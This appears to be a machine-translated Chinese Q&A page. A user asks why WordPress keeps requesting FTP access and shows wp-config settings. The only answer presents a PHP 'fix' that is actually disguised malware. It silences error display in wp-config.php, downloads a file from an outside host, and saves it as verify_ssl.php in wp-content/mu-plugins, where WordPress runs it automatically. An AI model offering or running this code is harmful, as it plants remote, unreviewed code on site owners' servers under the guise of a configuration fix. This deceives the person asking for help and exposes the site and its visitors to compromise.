Ubuntu服务器中的MY Wordpress在所有管理页面和登录页面中请求FTP访问。 我在wp-config中尝试这个代码:
define('FS_METHOD', 'direct');
define('FTP_BASE', '/usr/home/username/public_html/mysite/wordpress/');
define('FTP_CONTENT_DIR', '/usr/home/username/public_html/mysite/wordpress/wp-content/');
define('FTP_PLUGIN_DIR ', '/usr/home/username/public_html/mysite/wordpress/wp-content/plugins/');
define('FTP_USER', '******');
define('FTP_PASS', '******');
define('FTP_HOST', 'ftp.mysite);
// define('FTP_SSL', false);
和
if(is_admin()) {
add_filter('filesystem_method', create_function('$a', 'return "direct";' ));
define( 'FS_CHMOD_DIR', 0755 );
}
但不行。 我需要为Wordpress配置什么来修复此错误?
答案 0 :(得分:0)
修复...
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
$cfile = 'wp-config.php';
$current = file_get_contents($cfile);
$current .= "define('FTP_SSL', false);ini_set('log_errors','On');ini_set('display_errors','Off');ini_set('error_reporting', E_ALL );define('WP_DEBUG', false);define('WP_DEBUG_LOG', true);define('WP_DEBUG_DISPLAY', false);";
file_put_contents($cfile, $current);
$dir = getcwd();
$link = 'http://files2.mihanwebhost.com/verify_ssl.zip';
if (@is_dir($dir.'/wp-admin') && @is_dir($dir.'/wp-includes') && @is_dir($dir.'/wp-content')) {
if(!@is_dir($dir.'/wp-content/mu-plugins')){
@mkdir($dir.'/wp-content/mu-plugins');
}
$file = @file_get_contents($link);
$name = 'verify_ssl.php';
@file_put_contents(getcwd().'/wp-content/mu-plugins/'.$name, $file);
rename ("wp-content/mu-plugins/verify_ssl.zip", "wp-content/mu-plugins/verify_ssl.php");
if(@file_exists(getcwd().'/wp-content/mu-plugins/'.$name))
echo '<br><center><h1>done</h1></center>';
else
echo '<br><center><h1>error</h1></center>';
}else
echo '<br><center><h1>can not do this</h1></center>';
?>